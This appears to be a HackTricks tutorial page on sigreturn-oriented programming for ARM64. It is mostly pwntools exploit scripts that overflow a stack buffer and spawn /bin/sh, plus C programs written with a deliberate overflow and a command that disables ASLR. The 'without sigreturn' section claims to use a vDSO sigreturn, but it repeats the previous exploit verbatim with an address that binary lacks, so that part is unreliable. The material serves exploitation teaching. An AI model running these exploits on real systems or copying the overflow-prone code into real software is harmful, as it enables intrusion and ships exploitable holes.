SROP - ARM64

Reading time: 4 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Pwntools example

This example is creating the vulnerable binary and exploiting it. The binary reads into the stack and then calls sigreturn:

python
from pwn import * binsh = "/bin/sh" context.clear() context.arch = "arm64" asm = '' asm += 'sub sp, sp, 0x1000\n' asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack asm += shellcraft.sigreturn() # Call sigreturn asm += 'syscall: \n' #Easy symbol to use in the exploit asm += shellcraft.syscall() asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory binary = ELF.from_assembly(asm) frame = SigreturnFrame() frame.x8 = constants.SYS_execve frame.x0 = binary.symbols['binsh'] frame.x1 = 0x00 frame.x2 = 0x00 frame.pc = binary.symbols['syscall'] p = process(binary.path) p.send(bytes(frame)) p.interactive()

bof example

Code

c
#include <stdio.h> #include <string.h> #include <unistd.h> void do_stuff(int do_arg){ if (do_arg == 1) __asm__("mov x8, 0x8b; svc 0;"); return; } char* vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability return buffer; } char* gen_stack() { char use_stack[0x2000]; strcpy(use_stack, "Hello, world!"); char* b = vulnerable_function(); return use_stack; } int main(int argc, char **argv) { char* b = gen_stack(); do_stuff(2); return 0; }

Compile it with:

bash
clang -o srop srop.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR

Exploit

The exploit abuses the bof to return to the call to sigreturn and prepare the stack to call execve with a pointer to /bin/sh.

python
from pwn import * p = process('./srop') elf = context.binary = ELF('./srop') libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") libc.address = 0x0000fffff7df0000 # ASLR disabled binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve frame.x0 = binsh frame.x1 = 0x00 # NULL frame.x2 = 0x00 # NULL frame.pc = svc_call payload = b'A' * stack_offset payload += p64(sigreturn) payload += bytes(frame) p.sendline(payload) p.interactive()

bof example without sigreturn

Code

c
#include <stdio.h> #include <string.h> #include <unistd.h> char* vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability return buffer; } char* gen_stack() { char use_stack[0x2000]; strcpy(use_stack, "Hello, world!"); char* b = vulnerable_function(); return use_stack; } int main(int argc, char **argv) { char* b = gen_stack(); return 0; }

Exploit

In the section vdso it's possible to find a call to sigreturn in the offset 0x7b0:

Therefore, if leaked, it's possible to use this address to access a sigreturn if the binary isn't loading it:

python
from pwn import * p = process('./srop') elf = context.binary = ELF('./srop') libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") libc.address = 0x0000fffff7df0000 # ASLR disabled binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve frame.x0 = binsh frame.x1 = 0x00 # NULL frame.x2 = 0x00 # NULL frame.pc = svc_call payload = b'A' * stack_offset payload += p64(sigreturn) payload += bytes(frame) p.sendline(payload) p.interactive()

For more info about vdso check:

Ret2vDSO

And to bypass the address of /bin/sh you could create several env variables pointing to it, for more info:

ASLR

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks